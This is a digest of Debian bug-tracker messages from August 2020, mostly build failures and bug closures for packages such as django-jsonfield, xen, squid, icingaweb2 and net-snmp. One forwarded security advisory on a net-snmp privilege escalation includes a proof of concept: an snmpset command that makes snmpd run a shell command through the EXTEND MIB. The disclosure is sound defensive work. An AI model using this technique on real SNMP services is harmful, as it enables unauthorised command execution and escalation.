Severity: serious
Tags: ftbfs
https://buildd.debian.org/status/fetch.php?pkg=python-django-jsonfield=all=1.4.0-1=1597330157=0
...
debian/rules override_dh_auto_test
make[1]: Entering directory '/<>'
dh_auto_test -- --system=custom --test-args="{interpreter} debian/run_tests.py"
I: pybuild base:217: python3.8 debian/run_tests.py
E
==
ERROR: jsonfield.tests (unittest.loader._FailedTest)
--
ImportError: Failed to import test module: jsonfield.tests
Traceback (most recent call last):
File "/usr/lib/python3.8/unittest/loader.py", line 470, in _find_test_path
package = self._get_module_from_name(name)
File "/usr/lib/python3.8/unittest/loader.py", line 377, in
_get_module_from_name
__import__(name)
File "/<>/jsonfield/tests/__init__.py", line 1, in
from .test_fields import * # NOQA
File "/<>/jsonfield/tests/test_fields.py", line 9, in
from jsonfield.tests.jsonfield_test_app.models import * # NOQA
File "/<>/jsonfield/tests/jsonfield_test_app/models.py", line 1,
in
from django.contrib.postgres.fields import JSONField as PostgresJSONField
File
"/usr/lib/python3/dist-packages/django/contrib/postgres/fields/__init__.py",
line 1, in
from .array import * # NOQA
File
"/usr/lib/python3/dist-packages/django/contrib/postgres/fields/array.py", line
4, in
from django.contrib.postgres.forms import SimpleArrayField
File
"/usr/lib/python3/dist-packages/django/contrib/postgres/forms/__init__.py",
line 4, in
from .ranges import * # NOQA
File
"/usr/lib/python3/dist-packages/django/contrib/postgres/forms/ranges.py", line
3, in
from psycopg2.extras import DateRange, DateTimeTZRange, NumericRange
ModuleNotFoundError: No module named 'psycopg2'
--
Ran 1 test in 0.000s
FAILED (errors=1)
System check identified no issues (0 silenced).
E: pybuild pybuild:352: test: plugin custom failed with: exit code=1: python3.8
debian/run_tests.py
dh_auto_test: error: pybuild --test -i python{version} -p 3.8 --system=custom
"--test-args={interpreter} debian/run_tests.py" returned exit code 13
make[1]: *** [debian/rules:10: override_dh_auto_test] Error 25
--- End Message ---
--- Begin Message ---
Source: python-django-jsonfield
Source-Version: 1.4.0-2
Done: =?utf-8?q?Rapha=C3=ABl_Hertzog?=
We believe that the bug you reported is fixed in the latest version of
python-django-jsonfield, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to 968...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Raphaël Hertzog (supplier of updated
python-django-jsonfield package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512
Format: 1.8
Date: Mon, 24 Aug 2020 21:04:23 +0200
Source: python-django-jsonfield
Architecture: source
Version: 1.4.0-2
Distribution: unstable
Urgency: medium
Maintainer: Debian Python Modules Team
Changed-By: Raphaël Hertzog
Closes: 968694
Changes:
python-django-jsonfield (1.4.0-2) unstable; urgency=medium
.
* Add build-depends on python3-pyscopg2 for test suite (Closes: #968694)
* Add salsa CI file
* Configure autodep8 to use the correct import name for the generated test
Checksums-Sha1:
2eeb5c90574ac92adf843cd43734c540d4cbc44b 1922
python-django-jsonfield_1.4.0-2.dsc
f0fa73319550162690a65d90edb1966e48f0fb4d 3580
python-django-jsonfield_1.4.0-2.debian.tar.xz
04ed0fc02bfdc7b667eba9f130f5d8787759c668 6578
python-django-jsonfield_1.4.0-2_source.buildinfo
Checksums-Sha256:
Bug#964667: marked as done (node-chokidar: FTBFS: dh_auto_test: error: /bin/sh -ex debian/tests/pkg-js/test returned exit code 1)
Your message dated Mon, 24 Aug 2020 19:03:56 + with message-id and subject line Bug#964667: fixed in node-chokidar 3.4.2-1 has caused the Debian Bug report #964667, regarding node-chokidar: FTBFS: dh_auto_test: error: /bin/sh -ex debian/tests/pkg-js/test returned exit code 1 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 964667: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964667 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: node-chokidar Version: 3.4.0-1 Severity: serious Justification: FTBFS on amd64 Tags: bullseye sid ftbfs Usertags: ftbfs-20200709 ftbfs-bullseye Hi, During a rebuild of all packages in sid, your package failed to build on amd64. Relevant part (hopefully): > make[1]: Entering directory '/<>' > # No pkg-js-tools auto build > make[1]: Leaving directory '/<>' >dh_auto_test --buildsystem=nodejs > /bin/sh -ex debian/tests/pkg-js/test > + mocha --exit --reporter spec --timeout 8000 > > > chokidar > ✓ should expose public API methods > fs.watch (non-polling) > watch a directory > ✓ should produce an instance of chokidar.FSWatcher > ✓ should expose public API methods > ✓ should emit `add` event when file was added (44ms) > ✓ should emit nine `add` events when nine files were added in one > directory (1294ms) > ✓ should emit thirtythree `add` events when thirtythree files were > added in nine directories (2857ms) > ✓ should emit `addDir` event when directory was added > ✓ should emit `change` event when file was changed > ✓ should emit `unlink` event when file was removed (102ms) > ✓ should emit `unlinkDir` event when a directory was removed (43ms) > ✓ should emit two `unlinkDir` event when two nested directories were > removed (5025ms) > ✓ should emit `unlink` and `add` events when a file is renamed (123ms) > ✓ should emit `add`, not `change`, when previously deleted file is > re-added (165ms) > ✓ should not emit `unlink` for previously moved files (404ms) > ✓ should survive ENOENT for missing subdirectories > ✓ should notice when a file appears in a new directory > ✓ should watch removed and re-added directories (1544ms) > ✓ should emit `unlinkDir` and `add` when dir is replaced by file > (84ms) > ✓ should emit `unlink` and `addDir` when file is replaced by dir > (144ms) > watch individual files > ✓ should detect changes > ✓ should detect unlinks (121ms) > ✓ should detect unlink and re-add (164ms) > ✓ should ignore unwatched siblings (43ms) > Skipping gh-682: should detect unlink > - should detect unlink while watching a non-existent second file in > another directory > - should detect unlink and re-add while watching a second file > - should detect unlink and re-add while watching a non-existent > second file in another directory > - should detect unlink and re-add while watching a non-existent > second file in the same directory > - should detect two unlinks and one re-add > - should detect unlink and re-add while watching a second file and > a non-existent third file > renamed directory > ✓ should emit `add` for a file in a renamed directory (1024ms) > watch non-existent paths > ✓ should watch non-existent file and detect add (42ms) > ✓ should watch non-existent dir and detect addDir/add (63ms) > watch glob patterns > ✓ should correctly watch and emit based on glob input (47ms) > ✓ should respect negated glob patterns (122ms) > ✓ should traverse subdirs to match globstar patterns (177ms) > ✓ should resolve relative paths with glob patterns (45ms) > ✓ should correctly handle conflicting glob patterns (131ms) > ✓ should correctly handle intersecting glob patterns (44ms) > ✓ should not confuse glob-like filenames with globs (63ms) > ✓ should treat glob-like directory names as literal directory names > when globbing is disabled (45ms) > ✓ should treat glob-like filenames as literal filenames when globbing > is disabled (42ms) > ✓ should not prematurely filter dirs against complex globstar > patterns (67ms) > ✓ should emit matching dir events (45ms) > ✓ should correctly handle glob with braces > watch symlinks > ✓ should watch symlinked dirs > ✓ should watch symlinked files > ✓ should follow
Processed: retitle 968933 to squid: CVE-2020-24606: SQUID-2020:9 Denial of Service processing Cache Digest Response
Processing commands for cont...@bugs.debian.org:
> retitle 968933 squid: CVE-2020-24606: SQUID-2020:9 Denial of Service
> processing Cache Digest Response
Bug #968933 {Done: Luigi Gangitano } [src:squid] squid:
SQUID-2020:9 Denial of Service processing Cache Digest Response
Changed Bug title to 'squid: CVE-2020-24606: SQUID-2020:9 Denial of Service
processing Cache Digest Response' from 'squid: SQUID-2020:9 Denial of Service
processing Cache Digest Response'.
> thanks
Stopping processing here.
Please contact me if you need assistance.
--
968933: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968933
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Processed: found 968932 in 4.6-1+deb10u3, found 968932 in 4.6-1, found 968933 in 4.6-1+deb10u3 ...
Processing commands for cont...@bugs.debian.org:
> found 968932 4.6-1+deb10u3
Bug #968932 {Done: Luigi Gangitano } [src:squid] squid:
CVE-2020-15811: SQUID-2020:8 HTTP(S) Request Splitting
Marked as found in versions squid/4.6-1+deb10u3.
> found 968932 4.6-1
Bug #968932 {Done: Luigi Gangitano } [src:squid] squid:
CVE-2020-15811: SQUID-2020:8 HTTP(S) Request Splitting
Marked as found in versions squid/4.6-1.
> found 968933 4.6-1+deb10u3
Bug #968933 {Done: Luigi Gangitano } [src:squid] squid:
CVE-2020-24606: SQUID-2020:9 Denial of Service processing Cache Digest Response
Marked as found in versions squid/4.6-1+deb10u3.
> found 968933 4.6-1
Bug #968933 {Done: Luigi Gangitano } [src:squid] squid:
CVE-2020-24606: SQUID-2020:9 Denial of Service processing Cache Digest Response
Marked as found in versions squid/4.6-1.
> found 968934 4.6-1+deb10u3
Bug #968934 {Done: Luigi Gangitano } [src:squid] squid:
CVE-2020-15810: SQUID-2020:10 HTTP(S) Request Smuggling
Marked as found in versions squid/4.6-1+deb10u3.
> found 968934 4.6-1
Bug #968934 {Done: Luigi Gangitano } [src:squid] squid:
CVE-2020-15810: SQUID-2020:10 HTTP(S) Request Smuggling
Marked as found in versions squid/4.6-1.
> thanks
Stopping processing here.
Please contact me if you need assistance.
--
968932: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968932
968933: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968933
968934: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968934
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Bug#968833: marked as done (CVE-2020-24368)
Your message dated Mon, 24 Aug 2020 18:02:08 + with message-id and subject line Bug#968833: fixed in icingaweb2 2.6.2-3+deb10u1 has caused the Debian Bug report #968833, regarding CVE-2020-24368 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 968833: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968833 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: icingaweb2 Severity: grave Tags: security X-Debbugs-Cc: Debian Security Team This was assigned CVE-2020-24368: https://icinga.com/2020/08/19/icinga-web-security-release-v2-6-4-v2-7-4-and-v2-8-2/ https://github.com/Icinga/icingaweb2/issues/4226 Cheers, Moritz --- End Message --- --- Begin Message --- Source: icingaweb2 Source-Version: 2.6.2-3+deb10u1 Done: Bas Couwenberg We believe that the bug you reported is fixed in the latest version of icingaweb2, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 968...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Bas Couwenberg (supplier of updated icingaweb2 package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Sat, 22 Aug 2020 07:49:25 +0200 Source: icingaweb2 Binary: icingacli icingaweb2 icingaweb2-common icingaweb2-module-doc icingaweb2-module-monitoring php-icinga Architecture: source all Version: 2.6.2-3+deb10u1 Distribution: buster-security Urgency: high Maintainer: Debian Nagios Maintainer Group Changed-By: Bas Couwenberg Description: icingacli - simple CLI tool for Icingaweb2 and its modules icingaweb2 - simple and responsive web interface for Icinga icingaweb2-common - simple and responsive web interface for Icinga - common files icingaweb2-module-doc - simple and responsive web interface for Icinga - documentation mo icingaweb2-module-monitoring - simple and responsive web interface for Icinga - monitoring modul php-icinga - PHP library to communicate with and use Icinga Closes: 968833 Changes: icingaweb2 (2.6.2-3+deb10u1) buster-security; urgency=high . * Team upload. * Update branch in gbp.conf & Vcs-Git URL. * Add upstream patch to fix CVE-2020-24368. (closes: #968833) Checksums-Sha1: 90be5d13907cdc8f3191b8e23b77ea88d081c17d 2399 icingaweb2_2.6.2-3+deb10u1.dsc 03c1d94bf41f7b448c8ce1187fb4127331605772 8171965 icingaweb2_2.6.2.orig.tar.gz 66e704d72d6e001ae19fa7a5a1f14f2d605b 17284 icingaweb2_2.6.2-3+deb10u1.debian.tar.xz c2c3e9a596c7742f24f8396a5b81196f713158a1 29504 icingacli_2.6.2-3+deb10u1_all.deb df48675f8c97ea16db2186cbfc50601b9db86ea1 364088 icingaweb2-common_2.6.2-3+deb10u1_all.deb 096980ad0101f603783f02a7d178539fbad5568d 45088 icingaweb2-module-doc_2.6.2-3+deb10u1_all.deb 22f7b9d1368199a65a32db9043b0a92808bd7334 684464 icingaweb2-module-monitoring_2.6.2-3+deb10u1_all.deb f452b0205389d13fd80501696354357fb71ace4f 1769584 icingaweb2_2.6.2-3+deb10u1_all.deb c3102b6d40c9b0c03acd3cebdef62e67a532fdc6 9671 icingaweb2_2.6.2-3+deb10u1_amd64.buildinfo 46ca5e62295430cff93070529da8ac3be1eea973 750412 php-icinga_2.6.2-3+deb10u1_all.deb Checksums-Sha256: 548d636531d4283659862ec44ec683f85bb4b55c60566759f9706337938e43c2 2399 icingaweb2_2.6.2-3+deb10u1.dsc 49c713451e0c2c1c721c38edbb106c28ddb547ac1347b4aa94217a09c88dc92b 8171965 icingaweb2_2.6.2.orig.tar.gz 14575df8330ce2b0e4a239b99389d419fe853c483e68ed0de374cdc70a9af27b 17284 icingaweb2_2.6.2-3+deb10u1.debian.tar.xz cd74535dd69cf1f7f1d52dc09cbd820903198b2f24f40824cb228b42f49973aa 29504 icingacli_2.6.2-3+deb10u1_all.deb daf2a53ec673f6eac3ebf3ccaf5953cffcb986668b557d28c90ad73b43b2dd2b 364088 icingaweb2-common_2.6.2-3+deb10u1_all.deb 506a00a9c1a7636e81e3863ebbb5c251ada73268115b975cde393c53d0513c87 45088 icingaweb2-module-doc_2.6.2-3+deb10u1_all.deb 524fb625c2a8adaf56aaad89d9a8042de9041052529519166e092f6ec9d4aed0 684464 icingaweb2-module-monitoring_2.6.2-3+deb10u1_all.deb c81e1f45301daeb3691ded3b21824b6688291cdc0eadb4e1b65cde40900f7ca1 1769584 icingaweb2_2.6.2-3+deb10u1_all.deb bcdd229ed79d85305f8252392e2ff1e767a2764f7df7dff780132a163605b968 9671 icingaweb2_2.6.2-3+deb10u1_amd64.buildinfo
Bug#966599: marked as done (snmpd: Elevation of Privileges due to symlink handling (CVE-2020-15861))
Your message dated Mon, 24 Aug 2020 18:02:10 + with message-id and subject line Bug#966599: fixed in net-snmp 5.7.3+dfsg-5+deb10u1 has caused the Debian Bug report #966599, regarding snmpd: Elevation of Privileges due to symlink handling (CVE-2020-15861) to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 966599: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=966599 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: snmpd Version: 5.8+dfsg-4 Severity: grave Tags: security upstream Justification: user security hole -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 CVE-2020-15861 snmpd runs as a low privileged user account. However, in combination with the *snmp-mibs-downloader package* this protection can be bypassed and it is possible for this account to elevate permissions to the root user. This attack happens due to how snmpd handles symlinks. References: https://github.com/net-snmp/net-snmp/issues/145 https://github.com/net-snmp/net-snmp/commit/4fd9a450444a434a993bc72f7c3486ccce41f602 This security vulnerability was found by Tobias Neitzel of usd AG. - -- System Information: Debian Release: bullseye/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 5.4.0-4-amd64 (SMP w/8 CPU cores) Kernel taint flags: TAINT_WARN Locale: LANG=en_AU.UTF-8, LC_CTYPE=en_AU.UTF-8 (charmap=UTF-8), LANGUAGE=en_AU:en (charmap=UTF-8) Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled Versions of packages snmpd depends on: ii adduser3.118 ii debconf [debconf-2.0] 1.5.73 ii init-system-helpers1.57 ii libc6 2.30-2 ii libsnmp-base 5.8+dfsg-2 ii libsnmp35 5.8+dfsg-4 ii lsb-base 11.1.0 snmpd recommends no packages. Versions of packages snmpd suggests: ii snmptrapd 5.8+dfsg-4 - -- Configuration Files: /etc/snmp/snmpd.conf changed [not included] - -- debconf information excluded -BEGIN PGP SIGNATURE- iQJGBAEBCgAwFiEEXT3w9TizJ8CqeneiAiFmwP88hOMFAl8j268SHGNzbWFsbEBk ZWJpYW4ub3JnAAoJEAIhZsD/PITjzj0P/ReencZCeEbL/F2lznh8AhH42fC6tpi9 1McAS/calfYn9wFUTIfqi9JemMVjx8+2m0c6qW0/Yz698CACS45eUY4xTK9ejLEM Lezi2kQDLZwGHLfMIcd4U3DSC3ZNlFomOT0Idl43q2yiqHLYdXzxWaVSfgAHxLB2 ElBHSAS+UYCgp7Jd38oEZ5++rTUw5dKb249IiUee+AMCUToCHMes0abJ4r7D79ow PCIV410f1m1WlPJa5nWD/MioSnjdR2v9gmkuzmTq5Qjl6ShOR2B7Fh2/NWXzegXh Tu7MPeSAa7VnybicwIACzo7M7YvVBsw32CTtJZnOKFFU/Xrg6j/cUvTkpKuB+c+W D3dTgjieMRC0Gfc6aIAGE+nTOP4xMjLGGyhAxgBKp2THlZksO5ZSA4KXGswGLygl N19qe30Xy0ROuAKPMChNRmJXw0M+/pY2AX91QJUqGhvkXPfNBmtiy6LHyFo2RRCk yOlAC/8oQH8uHp1x7SUe02tiogbsLY/Yn6HTuvlo89Bt7UK2ifQXyqUkapySF3nw QDRFDh8+hkCvAubcW2ViEAY2n0Mca0+zeN5FyxK3PINSU6iz1zT2L3NI2HhIrZuZ 3YXCDQJe2jYa/LpeeBaR3TdY6ArDiwrkpzTwsOfltc4BzMyzUt1/7ccnhhNZo9N1 xwiQIxBbfw7b =Rnwp -END PGP SIGNATURE- --- End Message --- --- Begin Message --- Source: net-snmp Source-Version: 5.7.3+dfsg-5+deb10u1 Done: Craig Small We believe that the bug you reported is fixed in the latest version of net-snmp, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 966...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Craig Small (supplier of updated net-snmp package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Fri, 31 Jul 2020 20:53:22 +1000 Source: net-snmp Binary: libsnmp-base libsnmp-dev libsnmp-perl libsnmp-perl-dbgsym libsnmp30 libsnmp30-dbg python-netsnmp python-netsnmp-dbgsym snmp snmp-dbgsym snmpd snmpd-dbgsym snmptrapd snmptrapd-dbgsym tkmib Architecture: source all amd64 Version: 5.7.3+dfsg-5+deb10u1 Distribution: buster-security Urgency: high Maintainer: Net-SNMP Packaging Team Changed-By: Craig Small Description: libsnmp-base - SNMP configuration script, MIBs and documentation libsnmp-dev - SNMP (Simple Network Management Protocol) development files libsnmp-perl - SNMP (Simple Network Management Protocol) Perl5 support libsnmp30 - SNMP (Simple Network Management Protocol) library libsnmp30-dbg - SNMP (Simple Network Management Protocol) library
Bug#965166: marked as done (snmpd privilege escalation)
Your message dated Mon, 24 Aug 2020 18:02:10 + with message-id and subject line Bug#965166: fixed in net-snmp 5.7.3+dfsg-5+deb10u1 has caused the Debian Bug report #965166, regarding snmpd privilege escalation to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 965166: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965166 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: snmpd Version: 5.7.3 The report below comes from USD AG (https://www.usd.de). I am forwarding this report to the Debian organization because I think the root cause is not in the upstream Net-SNMP project but instead in how the Debian project packaged the Net-SNMP software. I see two possible approaches to fix this next to the solutions already mentioned in the report below: - Disable the EXTEND MIB. This will be considered as a regression by the users of this MIB. - Do not allow the Debian-snmp user to modify the snmpd configuration. - Advisory: Elevation of Privileges in Net-SNMP Description === On Debian based systems, the *NET-SNMP* daemon runs as a low privileged user account. However, this protection can be bypassed and it is possible for this account to elevate permissions to the root user. Details === Advisory ID: usd20200059 OTRS ID: Ticket#202007070115 Product: NET-SNMP Affected Version: 5.7.3 (probably earlier versions are also affected) Vulnerability Type: Elevation of Privileges Security Risk: High Vendor URL: http://www.net-snmp.org/ Vendor Status: Not fixed Advisory Status: Open CVE number: Not requested yet CVE Link: Not requested yet First Published: -MM-DD Last Update: 2020-07-09 Introduction The Simple Network Management Protocol (SNMP) is a widely used network protocol for controlling and monitoring network devices. Since the corresponding service (SNMP daemon) needs access to a lot of system components and (per default) binds the network port 161, it usually runs as the root user. On Debian based systems, the default installation of SNMP sets up a dedicated low privileged user account (*Debian-snmp*), that is used to run the SNMP daemon. This adds an additional layer of security, as a compromise of the SNMP service does not directly allow root access to the targeted device. Proof of Concept After installing the SNMP daemon on a Debian based system (e.g. ``apt install snmpd``), a new user account(*Debian-snmp*) is created by the installer: ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin [..SNIP..] Debian-snmp:x:122:127::/var/lib/snmp:/bin/false ``` The configuration of the snmpd daemon (systemd) shows, that this is the user account that runs the service: ``` ubuntu@ubuntu:~$ cat /lib/systemd/system/snmpd.service [Unit] Description=Simple Network Management Protocol (SNMP) Daemon. After=network.target ConditionPathExists=/etc/snmp/snmpd.conf [Service] Environment="MIBSDIR=/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf:/usr/share/mibs/site:/usr/share/snmp/mibs:/usr/share/mibs/iana:/usr/share/mibs/ietf:/usr/share/mibs/netsnmp" Environment="MIBS=" Type=simple ExecStartPre=/bin/mkdir -p /var/run/agentx ExecStart=/usr/sbin/snmpd -Lsd -Lf /dev/null -u Debian-snmp -g Debian-snmp -I -smux,mteTrigger,mteTriggerConf -f ExecReload=/bin/kill -HUP $MAINPID [Install] WantedBy=multi-user.target ``` In the following it is assumed that an attacker has *read-write* access to the SNMP service and is able to use the *NET-SNMP-EXTEND-MIB* extension. The following snipped shows how an attacker can abuse the *read-write* access to execute the operating system command ``id`` on the remote SNMP server: ``` ubuntu@ubuntu:~$ cat setup.sh snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \ 'nsExtendStatus."example"' = createAndGo \ 'nsExtendCommand."example"' = /bin/bash \ 'nsExtendArgs."example"'= '-c id' ubuntu@ubuntu:~$ bash setup.sh NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: createAndGo(4) NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id NET-SNMP-EXTEND-MIB::nsExtendInput."example" = STRING: NET-SNMP-EXTEND-MIB::nsExtendCacheTime."example" = INTEGER: 5
Bug#968965: xen: FTBFS in sid
Source: xen Version: 4.11.4+24-gddaaccbbab-1 Severity: serious Hello, looks like xen is FTBFS because of some bd-uninstallable python package and a gcc-10 related build failure. gcc -m64 -DBUILD_ID -fno-strict-aliasing -std=gnu99 -Wall -Wstrict-prototypes -Wdeclaration-after-statement -Wno-unused-but-set-variable -Wno-unused-local-typedefs -O2 -fomit-frame-pointer -D__XEN_INTERFACE_VERSION__=__XEN_LATEST_INTERFACE_VERSION__ -MMD -MF .tdb.o.d -D_LARGEFILE_SOURCE -D_LARGEFILE64_SOURCE -g -O2 -fdebug-prefix-map=/build/xen-4.11.4+24-gddaaccbbab=. -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -Werror -I. -include /build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/config.h -I./include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libs/evtchn/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libxc/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libs/toollog/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libs/foreignmemory/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libs/devicemodel/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -D__XEN_TOOLS__ -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libs/toolcore/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -DXEN_LIB_STORED="\"/var/lib/xenstored\"" -DXEN_RUN_STORED="\"/var/run/xenstored\"" -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libs/gnttab/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -c -o tdb.o tdb.c gcc -m64 -DBUILD_ID -fno-strict-aliasing -std=gnu99 -Wall -Wstrict-prototypes -Wdeclaration-after-statement -Wno-unused-but-set-variable -Wno-unused-local-typedefs -O2 -fomit-frame-pointer -D__XEN_INTERFACE_VERSION__=__XEN_LATEST_INTERFACE_VERSION__ -MMD -MF .talloc.o.d -D_LARGEFILE_SOURCE -D_LARGEFILE64_SOURCE -g -O2 -fdebug-prefix-map=/build/xen-4.11.4+24-gddaaccbbab=. -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -Werror -I. -include /build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/config.h -I./include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libs/evtchn/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libxc/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libs/toollog/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libs/foreignmemory/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libs/devicemodel/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -D__XEN_TOOLS__ -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libs/toolcore/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -DXEN_LIB_STORED="\"/var/lib/xenstored\"" -DXEN_RUN_STORED="\"/var/run/xenstored\"" -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/libs/gnttab/include -I/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore/../../tools/include -c -o talloc.o talloc.c gcc xs_tdb_dump.o utils.o tdb.o talloc.o-Wl,-z,relro -Wl,-z,now -o xs_tdb_dump /usr/bin/ld: utils.o:./tools/xenstore/utils.h:27: multiple definition of `xprintf'; xs_tdb_dump.o:./tools/xenstore/utils.h:27: first defined here collect2: error: ld returned 1 exit status make[6]: *** [Makefile:97: xs_tdb_dump] Error 1 make[6]: Leaving directory '/build/xen-4.11.4+24-gddaaccbbab/tools/xenstore' make[5]: *** [/build/xen-4.11.4+24-gddaaccbbab/tools/../tools/Rules.mk:253: subdir-install-xenstore] Error 2 make[5]: Leaving directory '/build/xen-4.11.4+24-gddaaccbbab/tools' make[4]: *** [/build/xen-4.11.4+24-gddaaccbbab/tools/../tools/Rules.mk:248: subdirs-install] Error 2 make[4]: Leaving directory '/build/xen-4.11.4+24-gddaaccbbab/tools' make[3]: *** [Makefile:74: install] Error 2 make[3]: Leaving directory '/build/xen-4.11.4+24-gddaaccbbab/tools' make[2]: *** [Makefile:127: install-tools] Error 2 make[2]: Leaving directory '/build/xen-4.11.4+24-gddaaccbbab' make[1]: *** [debian/rules:202: override_dh_auto_build] Error 2 make[1]: Leaving directory '/build/xen-4.11.4+24-gddaaccbbab' make: *** [debian/rules:150: build] Error 2 dpkg-buildpackage: error: debian/rules build subprocess returned exit status 2 I:
Bug#968729: marked as done (haskell-gi-pango FTBFS parse error on input ‘HarfBuzz.FeatureT.feature_t’)
Your message dated Mon, 24 Aug 2020 16:50:15 +
with message-id
and subject line Bug#968729: fixed in haskell-gi-pango 1.0.23-1
has caused the Debian Bug report #968729,
regarding haskell-gi-pango FTBFS parse error on input
‘HarfBuzz.FeatureT.feature_t’
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
